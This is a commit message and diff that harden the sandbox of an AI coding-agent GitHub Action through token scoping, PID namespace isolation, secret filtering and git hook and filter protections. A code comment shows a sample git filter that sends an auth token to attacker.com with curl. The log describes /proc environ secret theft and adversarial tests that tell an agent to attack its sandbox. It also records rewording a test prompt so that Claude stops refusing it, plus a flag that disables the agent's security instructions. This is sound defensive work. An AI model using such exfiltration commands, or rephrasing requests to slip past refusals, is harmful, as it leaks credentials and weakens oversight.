Scope installation token permissions in restricted mode (#226)

* Scope installation token permissions in restricted mode

In restricted/disabled bash mode, the installation token is now scoped
to match the workflow's permissions block. This preserves fork push
capability while limiting what the agent can do with the token.

- Read workflow permissions from pullfrog.yml at runtime
- Pass permissions to API when acquiring installation token
- Clear OIDC env vars in restricted mode to prevent token minting
- Simplify setupGit by moving token resolution to main.ts

* Address review feedback: fail closed with default permissions

- Add restrictive default permissions (contents:read, pull_requests:read,
  issues:read) as fallback when workflow permissions can't be read
- Add support for job-level permissions via GITHUB_JOB env var
- Fix misleading comment about token resolution in restricted mode
- Add documentation about fork PR checkout behavior

* Simplify to separate git/MCP tokens without workflow permission scoping

- gitToken: minimal contents:write only (assumed exfiltratable)
- mcpToken: full installation token (not exfiltratable via MCP tools)
- Remove workflowPermissions.ts - security-conscious users can pass
  their own token via GH_TOKEN or inputs.token
- Add type-safe InstallationTokenPermissions to github.ts and API route

* Rename `write` permission to `push` and remove vestigial tool blocking

The `write` permission was previously used to block local file write tools
in agents. This was security theater since bash can write files anyway.

Now `push` only controls the git token scope:
- push: enabled → contents:write (can push commits)
- push: disabled → contents:read (read-only, can't push)

Changes:
- Rename `write` to `push` in action.yml, Prisma schema, and all TS types
- Remove vestigial write tool blocking from all agents (claude, cursor,
  gemini, opencode, codex)
- Add data-preserving Prisma migration using RENAME COLUMN
- Update UI: "Write files" → "Git push" with updated description

* add PID namespace isolation for bash sandbox

when running in CI, attempts to use unshare --pid to create a new PID
namespace for bash subprocesses. this prevents the /proc/$PPID/environ
attack where a malicious command could read secrets from the parent
process's environment.

the protection works by:
1. creating a new PID namespace (subprocess becomes PID 1)
2. mounting fresh /proc showing only sandbox PIDs
3. parent PIDs become invisible (PPID = 0, /proc/0 doesn't exist)

combined with filterEnv(), this provides complete protection against
/proc-based secret theft. falls back gracefully if namespaces aren't
available.

includes test script to verify the protection works.

* add PID namespace test to CI workflow

tests whether unshare --pid works on GHA runners out of the box,
and if not, whether enabling via sysctl helps. also runs the
pidNamespace.ts test to verify the full protection.

* fix pnpm setup and add procIsolation agent test

- fix pnpm/action-setup by specifying package_json_file path
- add procIsolation crossagent test that has agent attempt to
  read secrets via /proc/$PPID/environ
- add procIsolation to CI test matrix

* add pid-namespace test job to main workflow

this job tests unshare --pid capabilities on GHA runners and runs
the pidNamespace.ts adhoc test to verify /proc isolation works

* test bubblewrap's sysctl approach for enabling namespaces

- write to /etc/sysctl.d/99-userns.conf and run sysctl --system
- try aa-complain on unshare binary
- more detailed diagnostics

* fix pidNamespace test and add sudo-unshare fallback for GHA

- fix reference error in pidNamespace.ts (renamed function but didn't update calls)
- add sudo-unshare as fallback method for GHA runners where unprivileged
  namespaces are blocked but sudo is available
- update bash.ts to detect and use sudo unshare when unprivileged fails

* consolidate security docs and document PID namespace isolation

- update security.md with current implementation details
  - document sudo unshare fallback for GHA runners
  - add testing instructions for local Docker and CI
  - add "Further Exploration" section with Landlock and path validation ideas
- delete bash-sandbox.md and landlock.md (consolidated into security.md)

* move procIsolation test to adhoc folder

the procIsolation test requires PID namespace capabilities that aren't
available in the Docker test environment. moved to adhoc/ so it's excluded
from default test runs and can be run explicitly when needed (e.g. via
the pid-namespace CI job or locally with --privileged docker).

* fix Docker test environment for PID namespace isolation

- add CI and GITHUB_ACTIONS to testEnvAllowList so sandbox detection runs
- add --privileged to Docker run for PID namespace support (unshare)

this fixes the test environment to properly test the sandbox. in production,
the action runs directly on GHA runner where sudo unshare works.

* fix getJobToken() to work in test environment

add fallback to GH_TOKEN and GITHUB_TOKEN when INPUT_TOKEN is not set.
this allows tests to run without requiring workflow-level token input.

the token resolution order is:
1. INPUT_TOKEN (from workflow `with: token:`)
2. GH_TOKEN (external token override)
3. GITHUB_TOKEN (pre-acquired in tests or from GHA env)

* security: filter secrets from all subprocess environments

- extract filterEnv() to shared utils/secrets.ts
- make $() utility filter secrets by default (git, npm, etc. don't need them)
- disable git hooks via core.hooksPath to prevent hook-based exfiltration
- git auth uses token embedded in URL, not env vars

this prevents malicious git hooks, npm postinstall scripts, and other
code execution vectors from exfiltrating GITHUB_TOKEN and API keys.

* docs: clarify defense-in-depth security model

update security.md to explain why BOTH layers are required:
- filterEnv(): cleans child's own /proc/self/environ
- PID namespace: hides parent's /proc entries

PID namespace alone isn't sufficient - with --mount-proc, the child
becomes PID 1, so /proc/1/environ is the child's OWN environment.
without filterEnv(), secrets would still be accessible there.

* add procSandbox crossagent test for PID namespace security

- add crossagent/procSandbox.ts: security test that instructs agent to try
  various /proc attack vectors and validates sandbox blocks them
- update wiki/security.md: document PID namespace isolation details, add
  verification commands, explain why sudo inside sandbox doesn't break security
- update docker.ts: use node:24 with sudo for GHA-like test environment
- update instructions.ts: allow disabling security messaging for pentests
- clean up adhoc test files (procIsolation.ts, securityAudit.ts)

the procSandbox test sets SANDBOX_TEST_TOKEN (matches *_TOKEN filter), gives
the agent explicit hints about attack vectors (/proc, sudo, nsenter, etc.),
disables prompt-based mitigations, and validates the secret is never leaked.

* move procSandbox test to agnostic/ (runs with one agent)

* WIP

* docs: add agent testing guide (pnpm play, Docker, pentesting)

* docs: add CI details to agent testing guide

* docs: add interesting findings and gotchas from pentesting

* improve test fidelity: auto-set CI=true, verify sandbox active

- docker.ts: always set CI=true in container so sandbox activates
- docker.ts: skip sudo/user setup if already done (faster reruns)
- bash.ts: export getSandboxMethod() for diagnostics
- bash.ts: add debug log when sandbox disabled
- procSandbox.ts: add sandbox_was_active check to catch vacuous passes

the CI=true change is critical: without it, PID namespace isolation
is skipped and security tests pass without actually testing anything.

* docs: update agent-testing.md with CI=true auto-set note

* docs: clarify log format is agent-specific

* fix git auth, simplify MCP tools, add adversarial tests

- fix gitWithAuth to use Basic auth format (Bearer doesn't work with git's http.extraheader)
- fix token.ts: push:restricted now correctly gets contents:write
- fix github.ts: pass permissions when acquiring installation tokens locally
- remove commit_files and create_branch MCP tools (redundant, don't require credentials)
- remove containsSecrets() - trivially bypassable, not sound security
- add agnostic adversarial tests: pushDisabled, pushRestricted, tokenExfil
- update instructions.ts to clearly list available git MCP tools
- add wiki/git.md documenting credential isolation and push permission tiers
- update wiki/docker.md with custom image considerations
- update wiki/agent-testing.md with adversarial testing patterns

* fix type errors after rebase

- change ResolveTokensParams.push from ToolPermission to PushPermission
- use tags: ["agnostic"] instead of agnostic: true in test files

* fix cleanup permission error in sandbox tests

when sandbox isolation is enabled (CI=true), files created by the unshare
subprocess may have different ownership, causing rmSync to fail with EACCES.
this error in the finally block was overriding the test's success result.

fix: wrap cleanup in try-catch and fall back to sudo rm if rmSync fails.

* Add adhoc

* Handle git config/remote bypasses

* add git hooks protection and simplify ToolState

- disable git hooks in restricted mode via -c core.hooksPath=/dev/null
- add gitHooks adversarial test to verify hook protection works
- unify prNumber/issueNumber into single issueNumber field
- add pushUrl to ToolState for push validation
- add generateTestMarker() for simpler single-agent test markers
- export SENSITIVE_PATTERNS and isSensitiveEnvName from secrets.ts
- remove redundant pidNamespace.ts (duplicated by procSandbox.ts)
- update documentation

* harden $git() auth: subcommand whitelist, binary tamper detection

- rename gitWithAuth() to $git() with explicit subcommand first arg
- restrict to "fetch" | "push" at type level (filters don't run for these)
- resolve git binary path at startup via resolveGit(), sha256 fingerprint
- verify hash before each $git() call to detect binary replacement
- rename disableHooks to restricted for cleaner semantics
- document filter exfiltration attack and empirical verification in wiki

* remove redundant pid-namespace CI job

the PID namespace isolation testing is now handled by
action/test/agnostic/procSandbox.ts via pnpm runtest agnostic

* fix push_branch for new branches and improve token leak detection

- getPushDestination now falls back to origin/<branch> when @{push}
  is not configured (happens for new branches created locally)
- gitPerms validator now checks for actual token patterns instead
  of matching "x-access-token" string in test instructions

* use kebab-case for test names

* simplify shell env API: "restricted" | "inherit" | object

replace passFullEnv boolean with cleaner env option that accepts:
- "restricted" (default): filterEnv() to prevent secret leakage
- "inherit": full process.env
- object: custom env merged with restricted base

* share EnvMode and resolveEnv between shell.ts and bash.ts

move shared env resolution logic to secrets.ts

* add env option to bash tool (default: restricted)

* delete agent-testing.md (renamed to adversarial.md)

* Add checkout tests

* reframe githooks test prompt to avoid claude safety refusal

claude was refusing to execute the test because the prompt used words
like "malicious" and "security testing". reframed as a debugging task
with innocuous env var name (TESTING_DEBUG_TAG) per adversarial.md guidance.

Co-authored-by: Cursor <cursoragent@cursor.com>

* clean up verbose token acquisition logs

move logging responsibility to call sites which have better context
(git token vs MCP token). remove redundant intermediate OIDC logs
and unused "(permission-scoped)" suffix.

Co-authored-by: Cursor <cursoragent@cursor.com>

* isolate agnostic tests with matrix strategy, fix .pullfrog-env secret leak

- split action-agnostic into per-test matrix jobs for isolated logs and filesystems
- only write explicitly opted-in env vars to .pullfrog-env via fileAgentEnv
  (fixes token-exfil test where claude found SANDBOX_TEST_TOKEN on disk)
- mcpmerge test opts in via fileAgentEnv for cursor's repo-level MCP fallback

Co-authored-by: Cursor <cursoragent@cursor.com>

* remove env parameter from bash tool to prevent agents bypassing filterEnv

the bash tool exposed an `env` parameter accepting "restricted" | "inherit"
which allowed agents to pass env: "inherit" and see all secrets including
SANDBOX_TEST_TOKEN, bypassing the restricted environment filtering entirely.
env mode is now determined internally (always restricted).

Co-authored-by: Cursor <cursoragent@cursor.com>

* use pullfrog/test-repo for push tests to stop polluting main repo

push tests were creating branches and tags on pullfrog/app directly.
now all push tests (push-restricted, push-disabled, push-enabled,
git-permissions) target pullfrog/test-repo instead.

Co-authored-by: Cursor <cursoragent@cursor.com>

* use pullfrog/test-repo for all tests, not just push tests

no test should clone or operate on pullfrog/app directly.

Co-authored-by: Cursor <cursoragent@cursor.com>

* fix token scoping for test-repo and bash timeout defaults

- acquireTokenViaOIDC now includes GITHUB_REPOSITORY repo in token
  scope so push tests work against pullfrog/test-repo
- bash tool default timeout: 120s -> 30s, cap: 600s -> 120s
- activity timeout: 30s -> 60s
- prevents hung bash commands (e.g. find /) from killing the agent
  via activity timeout

Co-authored-by: Cursor <cursoragent@cursor.com>

---------

Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
Colin McDonnell
2026-02-06 06:26:26 +00:00
committed by pullfrog[bot]
parent 6fbff21fca
commit 3a7145db1a
52 changed files with 3514 additions and 2027 deletions
+1 -1
View File
@@ -1,4 +1,4 @@
export const DEFAULT_ACTIVITY_TIMEOUT_MS = 30_000;
export const DEFAULT_ACTIVITY_TIMEOUT_MS = 60_000;
export const DEFAULT_ACTIVITY_CHECK_INTERVAL_MS = 5_000;
type ActivityTimeoutContext = {
+43 -4
View File
@@ -100,8 +100,15 @@ export function buildSshSetup(ctx: DockerRunContext): SshSetup {
return buildLinuxSshSetup(ctx);
}
// allowlist of env vars to pass through to the container for test isolation
// allowlist of env vars to pass through to the container for `pnpm runtest`.
// NOTE: `pnpm play` uses "passthrough" mode and passes ALL env vars.
// if your env var isn't working with `pnpm runtest`, add it here!
// see wiki/adversarial.md for documentation.
const testEnvAllowList = new Set([
"CI",
"GITHUB_ACTIONS",
"PULLFROG_DISABLE_SECURITY_INSTRUCTIONS", // disables security messaging for pentest
"AGENT_OVERRIDE", // override agent selection for testing
"GITHUB_TOKEN",
"GH_TOKEN",
"GITHUB_REPOSITORY",
@@ -163,13 +170,20 @@ export function initializeNodeModulesVolume(ctx: VolumeInitContext): void {
);
}
/**
* escape a string for embedding in a double-quoted shell context.
* handles: backslash, double quote, dollar sign, backtick.
*/
function escapeForDoubleQuotes(str: string): string {
return str.replace(/\\/g, "\\\\").replace(/"/g, '\\"').replace(/\$/g, "\\$").replace(/`/g, "\\`");
}
export function buildDockerRunArgs(config: DockerRunArgsContext): string[] {
const args: string[] = [
"run",
"--rm",
"-t",
"--user",
`${config.ctx.uid}:${config.ctx.gid}`,
"--privileged", // needed for PID namespace isolation (unshare --pid)
"-v",
`${config.ctx.actionDir}:/app/action:cached`,
"-v",
@@ -179,6 +193,27 @@ export function buildDockerRunArgs(config: DockerRunArgsContext): string[] {
];
args.push(...config.envFlags);
args.push(...config.sshSetup.sshFlags);
// escape nodeCmd for embedding in su -c "..." context
const escapedNodeCmd = escapeForDoubleQuotes(config.nodeCmd);
// run as root initially, setup sudo for a test user, then run tests as that user
// this simulates GHA environment where sudo is available
const setupCmd = [
// install sudo (node:24 is Debian-based) - check if already installed first
`which sudo > /dev/null 2>&1 || (apt-get update -qq && apt-get install -qq -y sudo > /dev/null 2>&1)`,
// create user matching host uid/gid for file permissions
`id testuser > /dev/null 2>&1 || (groupadd -g ${config.ctx.gid} testuser 2>/dev/null || true; useradd -u ${config.ctx.uid} -g ${config.ctx.gid} -m -s /bin/bash testuser 2>/dev/null || true)`,
// configure passwordless sudo (like GHA runners) - check if already configured
`grep -q "testuser ALL" /etc/sudoers 2>/dev/null || echo "testuser ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers`,
// setup directories
`mkdir -p /tmp/home/.config /tmp/home/.cache`,
`chown -R ${config.ctx.uid}:${config.ctx.gid} /tmp/home /app/action/node_modules`,
// install deps as user
`su testuser -c "corepack pnpm install --frozen-lockfile --ignore-scripts"`,
// run test as user - nodeCmd is escaped for double-quote context
`su testuser -c "${escapedNodeCmd}"`,
].join(" && ");
args.push(
"-e",
"COREPACK_ENABLE_DOWNLOAD_PROMPT=0",
@@ -186,10 +221,14 @@ export function buildDockerRunArgs(config: DockerRunArgsContext): string[] {
"HOME=/tmp/home",
"-e",
"TMPDIR=/tmp",
// always set CI=true in docker to enable sandbox - this is critical for security tests
// without this, PID namespace isolation is skipped and tests may pass vacuously
"-e",
"CI=true",
"node:24",
"bash",
"-c",
`${config.sshSetup.sshSetupCmd}mkdir -p /tmp/home/.config /tmp/home/.cache && corepack pnpm install --frozen-lockfile --ignore-scripts && ${config.nodeCmd}`
`${config.sshSetup.sshSetupCmd}${setupCmd}`
);
return args;
}
+171
View File
@@ -0,0 +1,171 @@
/**
* git authentication helper using GIT_CONFIG_PARAMETERS.
* injects Authorization header via http.extraheader config.
* token is never exposed to shell environment - only to the git subprocess.
*
* see wiki/git.md "Subcommand Whitelist" for full security documentation.
*/
import { execSync, spawnSync } from "node:child_process";
import { createHash } from "node:crypto";
import { readFileSync, realpathSync } from "node:fs";
import { log } from "./cli.ts";
import { filterEnv } from "./secrets.ts";
/**
* whitelist of git subcommands safe to run with an auth token in GIT_CONFIG_PARAMETERS.
*
* git operations fall into two categories:
*
* SAFE (remote-only, no working tree):
* fetch - downloads objects, updates refs
* push - uploads objects
*
* DANGEROUS (touch working tree, trigger filters that inherit the full subprocess env):
* checkout, merge, pull, reset, stash, add, commit, diff (with worktree)
*
* a malicious agent can set up a git filter via `.git/config`:
* [filter "evil"]
* clean = bash -c 'echo "$GIT_CONFIG_PARAMETERS" | curl https://attacker.com'
*
* if we ran e.g. `$git("checkout", ...)`, that filter would execute with the token
* in env and exfiltrate it. fetch and push don't touch working tree files, so
* filters never run. this was verified empirically.
*
* operations that need working tree access (checkout, merge) use `$()` from shell.ts
* which has NO token in its environment.
*/
type SafeGitSubcommand = "fetch" | "push";
type GitAuthOptions = {
token: string;
cwd?: string;
// restricted bash mode: agents can write to .git/hooks/, so we disable hooks
// to prevent token exfiltration via malicious hooks reading GIT_CONFIG_PARAMETERS
restricted?: boolean;
};
type GitResult = {
stdout: string;
stderr: string;
};
// --- git binary resolution and tamper detection ---
type GitBinaryInfo = {
path: string;
sha256: string;
};
/** resolved at startup via initGitBinary(), before any agent code runs */
let gitBinary: GitBinaryInfo | undefined;
function hashFile(path: string): string {
return createHash("sha256").update(readFileSync(path)).digest("hex");
}
/**
* resolve and fingerprint the git binary. must be called once at startup (in main())
* before any agent code runs, so the path and hash reflect the untampered binary.
*
* resolves symlinks via realpath so the hash is of the actual binary, not a symlink.
* a malicious agent with sudo could replace the binary later, which is caught by
* verifyGitBinary() before each authenticated call.
*/
export function resolveGit(): void {
// `which git` resolves PATH; realpath follows symlinks (e.g. /usr/bin/git -> /usr/lib/git-core/git)
const whichPath = execSync("which git", { encoding: "utf-8" }).trim();
const resolvedPath = realpathSync(whichPath);
const sha256 = hashFile(resolvedPath);
gitBinary = { path: resolvedPath, sha256 };
log.info(`» git binary: ${resolvedPath} (sha256: ${sha256.slice(0, 12)}...)`);
}
/**
* verify the git binary hasn't been tampered with since startup.
* re-hashes the binary and compares to the startup fingerprint.
* throws if the binary was replaced (e.g. by a malicious agent with sudo).
*/
function verifyGitBinary(): string {
if (!gitBinary) {
throw new Error("git binary not initialized - call resolveGit() at startup");
}
const currentHash = hashFile(gitBinary.path);
if (currentHash !== gitBinary.sha256) {
throw new Error(
`git binary tampered with! expected sha256 ${gitBinary.sha256}, got ${currentHash}. ` +
`path: ${gitBinary.path}`
);
}
return gitBinary.path;
}
/**
* execute authenticated git command.
*
* subcommand is an explicit first argument restricted to "fetch" | "push" at the type level,
* preventing accidental use with working-tree operations that would expose the token to filters.
*
* uses Basic auth format (AUTHORIZATION: basic <base64>) matching actions/checkout.
* the Bearer format doesn't work with git's extraheader mechanism.
*
* the git binary path is resolved once at startup via resolveGit() and verified
* (sha256 hash check) before each call to detect tampering by a malicious agent.
*
* @example
* $git("fetch", ["origin", "main"], { token, restricted: true });
* $git("push", ["-u", "origin", "feature"], { token, restricted: true });
*/
export function $git(
subcommand: SafeGitSubcommand,
args: string[],
options: GitAuthOptions
): GitResult {
const gitPath = verifyGitBinary();
const cwd = options.cwd ?? process.cwd();
// SECURITY: disable hooks in restricted mode to prevent token exfiltration
// agents could write malicious .git/hooks/pre-push that reads GIT_CONFIG_PARAMETERS
if (options.restricted) {
const hasHooksOverride = args.some(
(arg) => arg.toLowerCase().includes("hookspath") || arg.toLowerCase().includes("hooks")
);
if (hasHooksOverride) {
throw new Error("Blocked: git args contain hooks-related config");
}
}
const fullArgs = options.restricted
? ["-c", "core.hooksPath=/dev/null", subcommand, ...args]
: [subcommand, ...args];
log.debug(`git ${fullArgs.join(" ")}`);
// use Basic auth format matching actions/checkout
// format: AUTHORIZATION: basic base64(x-access-token:TOKEN)
// Bearer format does NOT work with git's extraheader - git ignores it
const basicCredential = Buffer.from(`x-access-token:${options.token}`).toString("base64");
const result = spawnSync(gitPath, fullArgs, {
cwd,
env: {
...filterEnv(),
// inject auth header via GIT_CONFIG_PARAMETERS - never stored, only for this process
GIT_CONFIG_PARAMETERS: `'http.https://github.com/.extraheader=AUTHORIZATION: basic ${basicCredential}'`,
// disable terminal prompts (would hang in CI)
GIT_TERMINAL_PROMPT: "0",
},
encoding: "utf-8",
maxBuffer: 50 * 1024 * 1024,
});
if (result.status !== 0) {
const stderr = result.stderr?.trim() ?? "";
log.error(`git ${subcommand} failed: ${stderr}`);
throw new Error(`git ${subcommand} failed: ${stderr}`);
}
return {
stdout: result.stdout?.trim() ?? "",
stderr: result.stderr?.trim() ?? "",
};
}
+65 -25
View File
@@ -53,33 +53,72 @@ function isOIDCAvailable(): boolean {
);
}
async function acquireTokenViaOIDC(opts?: { repos?: string[] }): Promise<string> {
log.info("» generating OIDC token...");
// github installation token permission levels
type ReadWrite = "read" | "write";
type WriteOnly = "write";
type ReadOnly = "read";
// permission names use underscores (API format)
type InstallationTokenPermissions = {
actions?: ReadWrite;
artifact_metadata?: ReadWrite;
attestations?: ReadWrite;
checks?: ReadWrite;
contents?: ReadWrite;
deployments?: ReadWrite;
id_token?: WriteOnly;
issues?: ReadWrite;
models?: ReadOnly;
discussions?: ReadWrite;
packages?: ReadWrite;
pages?: ReadWrite;
pull_requests?: ReadWrite;
security_events?: ReadWrite;
statuses?: ReadWrite;
};
type AcquireTokenOptions = {
repos?: string[];
permissions?: InstallationTokenPermissions;
};
async function acquireTokenViaOIDC(opts?: AcquireTokenOptions): Promise<string> {
const oidcToken = await core.getIDToken("pullfrog-api");
const apiUrl = process.env.API_URL || "https://pullfrog.com";
const params = new URLSearchParams();
if (opts?.repos?.length) {
params.set("repos", opts.repos.join(","));
// ensure the token covers GITHUB_REPOSITORY (may differ from OIDC claims repo)
const repos = [...(opts?.repos ?? [])];
const targetRepo = process.env.GITHUB_REPOSITORY?.split("/")[1];
if (targetRepo) {
repos.push(targetRepo);
}
if (repos.length) {
params.set("repos", repos.join(","));
}
const queryString = params.toString() ? `?${params.toString()}` : "";
log.info("» exchanging OIDC token for installation token...");
const timeoutMs = 30000;
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), timeoutMs);
try {
const tokenResponse = await fetch(`${apiUrl}/api/github/installation-token${queryString}`, {
const fetchOptions: RequestInit = {
method: "POST",
headers: {
Authorization: `Bearer ${oidcToken}`,
"Content-Type": "application/json",
},
signal: controller.signal,
});
};
if (opts?.permissions) {
fetchOptions.body = JSON.stringify({ permissions: opts.permissions });
}
const tokenResponse = await fetch(
`${apiUrl}/api/github/installation-token${queryString}`,
fetchOptions
);
clearTimeout(timeoutId);
@@ -88,12 +127,6 @@ async function acquireTokenViaOIDC(opts?: { repos?: string[] }): Promise<string>
}
const tokenData = (await tokenResponse.json()) as InstallationToken;
const owner = tokenData.repository?.split("/")[0];
const repoList = opts?.repos?.length
? [tokenData.repository, ...opts.repos.map((r) => `${owner}/${r}`)].join(", ")
: tokenData.repository;
log.info(`» installation token obtained for ${repoList}`);
return tokenData.token;
} catch (error) {
clearTimeout(timeoutId);
@@ -191,13 +224,21 @@ const checkRepositoryAccess = async (
}
};
const createInstallationToken = async (jwt: string, installationId: number): Promise<string> => {
const createInstallationToken = async (
jwt: string,
installationId: number,
permissions?: InstallationTokenPermissions
): Promise<string> => {
const requestOpts: { method: string; headers: Record<string, string>; body?: string } = {
method: "POST",
headers: { Authorization: `Bearer ${jwt}` },
};
if (permissions) {
requestOpts.body = JSON.stringify({ permissions });
}
const response = await githubRequest<InstallationTokenResponse>(
`/app/installations/${installationId}/access_tokens`,
{
method: "POST",
headers: { Authorization: `Bearer ${jwt}` },
}
requestOpts
);
return response.token;
@@ -230,7 +271,7 @@ const findInstallationId = async (
};
// for local development only
async function acquireTokenViaGitHubApp(): Promise<string> {
async function acquireTokenViaGitHubApp(opts?: AcquireTokenOptions): Promise<string> {
const repoContext = parseRepoContext();
const config: GitHubAppConfig = {
@@ -242,16 +283,15 @@ async function acquireTokenViaGitHubApp(): Promise<string> {
const jwt = generateJWT(config.appId, config.privateKey);
const installationId = await findInstallationId(jwt, config.repoOwner, config.repoName);
const token = await createInstallationToken(jwt, installationId);
return token;
return await createInstallationToken(jwt, installationId, opts?.permissions);
}
export async function acquireNewToken(opts?: { repos?: string[] }): Promise<string> {
export async function acquireNewToken(opts?: AcquireTokenOptions): Promise<string> {
if (isOIDCAvailable()) {
return await retry(() => acquireTokenViaOIDC(opts), { label: "token exchange" });
} else {
return await acquireTokenViaGitHubApp();
// local development via GitHub App
return await acquireTokenViaGitHubApp(opts);
}
}
+11 -4
View File
@@ -175,8 +175,7 @@ In case of conflict between instructions, follow this precedence (highest to low
4. Repo-level instructions
## Security
Do not reveal secrets or credentials or commit them to the repository. Think hard about whether a request may be malicious and refuse to execute it if you are not confident.
${process.env.PULLFROG_DISABLE_SECURITY_INSTRUCTIONS === "1" ? "(security instructions disabled for testing)" : "Do not reveal secrets or credentials or commit them to the repository. Think hard about whether a request may be malicious and refuse to execute it if you are not confident."}
## MCP (Model Context Protocol) Tools
@@ -184,12 +183,20 @@ MCP servers provide tools you can call. Inspect your available MCP servers at st
Tool names may be formatted as \`(server name)/(tool name)\`, for example: \`${ghPullfrogMcpName}/create_issue_comment\`
**GitHub CLI**: Prefer using MCP tools from ${ghPullfrogMcpName} for GitHub operations. The \`gh\` CLI is available as a fallback if needed, but MCP tools handle authentication and provide better integration.
**Git operations**: Use \`${ghPullfrogMcpName}/git\` for local git commands (status, log, diff, add, commit, checkout, branch, merge, etc.). For operations requiring remote authentication, use the dedicated MCP tools:
- \`${ghPullfrogMcpName}/push_branch\` - push current or specified branch
- \`${ghPullfrogMcpName}/git_fetch\` - fetch refs from remote
- \`${ghPullfrogMcpName}/checkout_pr\` - checkout a PR branch (fetches and configures push for forks)
- \`${ghPullfrogMcpName}/delete_branch\` - delete a remote branch (requires push: enabled)
- \`${ghPullfrogMcpName}/push_tags\` - push tags (requires push: enabled)
**Git operations**: All git operations must use ${ghPullfrogMcpName} MCP tools to ensure proper authentication and commit attribution. Do NOT use git commands directly (e.g., \`git commit\`, \`git push\`, \`git checkout\`, \`git branch\`) - these will use incorrect credentials and attribute commits to the wrong author.
Protected branches (default branch) are blocked from direct pushes in restricted mode. Do not use \`git push\` directly - it will fail without credentials.
**Do not attempt to configure git credentials manually** - the ${ghPullfrogMcpName} server handles all authentication internally.
**GitHub** — Prefer using MCP tools from ${ghPullfrogMcpName} for GitHub operations. The \`gh\` CLI is available as a fallback if needed, but MCP tools handle authentication and provide better integration.
**Efficiency**: Trust the tools - do not repeatedly verify file contents or git status after operations. If a tool reports success, proceed to the next step. Only verify if you encounter an actual error.
${getShellInstructions(ctx.payload.bash)}
+2 -8
View File
@@ -1,11 +1,5 @@
import { log } from "./cli.ts";
// patterns for sensitive env vars: suffixes (_KEY, _SECRET, _TOKEN) plus AI provider prefixes
const SENSITIVE_PATTERNS = [/_KEY$/i, /_SECRET$/i, /_TOKEN$/i, /_PASSWORD$/i, /_CREDENTIAL$/i];
function isSensitive(key: string): boolean {
return SENSITIVE_PATTERNS.some((p) => p.test(key));
}
import { isSensitiveEnvName } from "./secrets.ts";
function maskValue(value: string | undefined) {
if (value && typeof value === "string" && value.trim().length > 0) {
@@ -37,7 +31,7 @@ export function normalizeEnv(): void {
// process each group
for (const [upperKey, keys] of upperKeys) {
// if sensitive, ensure we mask the value (regardless of whether we rename it or not)
if (isSensitive(upperKey)) {
if (isSensitiveEnvName(upperKey)) {
// mask all values associated with this key group
for (const key of keys) {
maskValue(process.env[key]);
+4 -4
View File
@@ -14,9 +14,9 @@ describe("Inputs schema", () => {
["search", "enabled"],
["search", "disabled"],
["search", undefined],
["write", "enabled"],
["write", "disabled"],
["write", undefined],
["push", "enabled"],
["push", "disabled"],
["push", undefined],
["bash", "enabled"],
["bash", "restricted"],
["bash", "disabled"],
@@ -39,7 +39,7 @@ describe("Inputs schema", () => {
expect(() => Inputs.assert(input)).not.toThrow();
});
it.each([["web"], ["search"], ["write"], ["bash"], ["effort"], ["agent"]] as const)(
it.each([["web"], ["search"], ["push"], ["bash"], ["effort"], ["agent"]] as const)(
"should reject invalid %s values",
(prop) => {
const input = { prompt: "test", [prop]: "invalid" as any };
+4 -3
View File
@@ -9,6 +9,7 @@ import { validateCompatibility } from "./versioning.ts";
// tool permission enum types for inputs
const ToolPermissionInput = type.enumerated("disabled", "enabled");
const BashPermissionInput = type.enumerated("disabled", "restricted", "enabled");
const PushPermissionInput = type.enumerated("disabled", "restricted", "enabled");
// schema for JSON payload passed via prompt (internal dispatch invocation)
// note: permissions are intentionally NOT included here to prevent injection attacks
@@ -48,7 +49,7 @@ export const Inputs = type({
"agent?": AgentName.or("undefined"),
"web?": ToolPermissionInput.or("undefined"),
"search?": ToolPermissionInput.or("undefined"),
"write?": ToolPermissionInput.or("undefined"),
"push?": PushPermissionInput.or("undefined"),
"bash?": BashPermissionInput.or("undefined"),
"cwd?": type.string.or("undefined"),
});
@@ -102,7 +103,7 @@ function resolveNonPromptInputs() {
cwd: core.getInput("cwd") || undefined,
web: core.getInput("web") || undefined,
search: core.getInput("search") || undefined,
write: core.getInput("write") || undefined,
push: core.getInput("push") || undefined,
bash: core.getInput("bash") || undefined,
});
}
@@ -171,7 +172,7 @@ export function resolvePayload(
// permissions: inputs > repoSettings > fallbacks
web: inputs.web ?? repoSettings.web ?? "enabled",
search: inputs.search ?? repoSettings.search ?? "enabled",
write: inputs.write ?? repoSettings.write ?? "enabled",
push: inputs.push ?? repoSettings.push ?? "restricted",
bash: resolvedBash,
};
}
+3 -3
View File
@@ -1,4 +1,4 @@
import type { AgentName, BashPermission, ToolPermission } from "../external.ts";
import type { AgentName, BashPermission, PushPermission, ToolPermission } from "../external.ts";
import type { RepoContext } from "./github.ts";
export interface Mode {
@@ -14,7 +14,7 @@ export interface RepoSettings {
repoInstructions: string;
web: ToolPermission;
search: ToolPermission;
write: ToolPermission;
push: PushPermission;
bash: BashPermission;
}
@@ -29,7 +29,7 @@ const defaultSettings: RepoSettings = {
repoInstructions: "",
web: "enabled",
search: "enabled",
write: "enabled",
push: "restricted",
bash: "restricted",
};
+43 -5
View File
@@ -6,6 +6,49 @@
import { agentsManifest } from "../external.ts";
import { getGitHubInstallationToken } from "./token.ts";
// patterns for sensitive env var names
export const SENSITIVE_PATTERNS = [
/_KEY$/i,
/_SECRET$/i,
/_TOKEN$/i,
/_PASSWORD$/i,
/_CREDENTIAL$/i,
];
export function isSensitiveEnvName(key: string): boolean {
return SENSITIVE_PATTERNS.some((p) => p.test(key));
}
/** filter env vars, removing sensitive values (tokens, keys, secrets) */
export function filterEnv(): Record<string, string> {
const filtered: Record<string, string> = {};
for (const [key, value] of Object.entries(process.env)) {
if (value === undefined) continue;
if (isSensitiveEnvName(key)) continue;
filtered[key] = value;
}
return filtered;
}
export type EnvMode = "restricted" | "inherit" | Record<string, string>;
/**
* resolve env mode to actual env object
* - "restricted" (default): filterEnv() to prevent secret leakage
* - "inherit": full process.env
* - object: custom env merged with restricted base
*/
export function resolveEnv(mode: EnvMode | undefined): Record<string, string | undefined> {
if (mode === "inherit") {
return process.env;
}
if (mode === "restricted" || mode === undefined) {
return filterEnv();
}
// custom env object - merge with restricted base
return { ...filterEnv(), ...mode };
}
function getAllSecrets(): string[] {
const secrets: string[] = [];
@@ -54,8 +97,3 @@ export function redactSecrets(content: string, secrets?: string[]): string {
}
return redacted;
}
export function containsSecrets(content: string, secrets?: string[]): boolean {
const secretsToCheck = secrets ?? getAllSecrets();
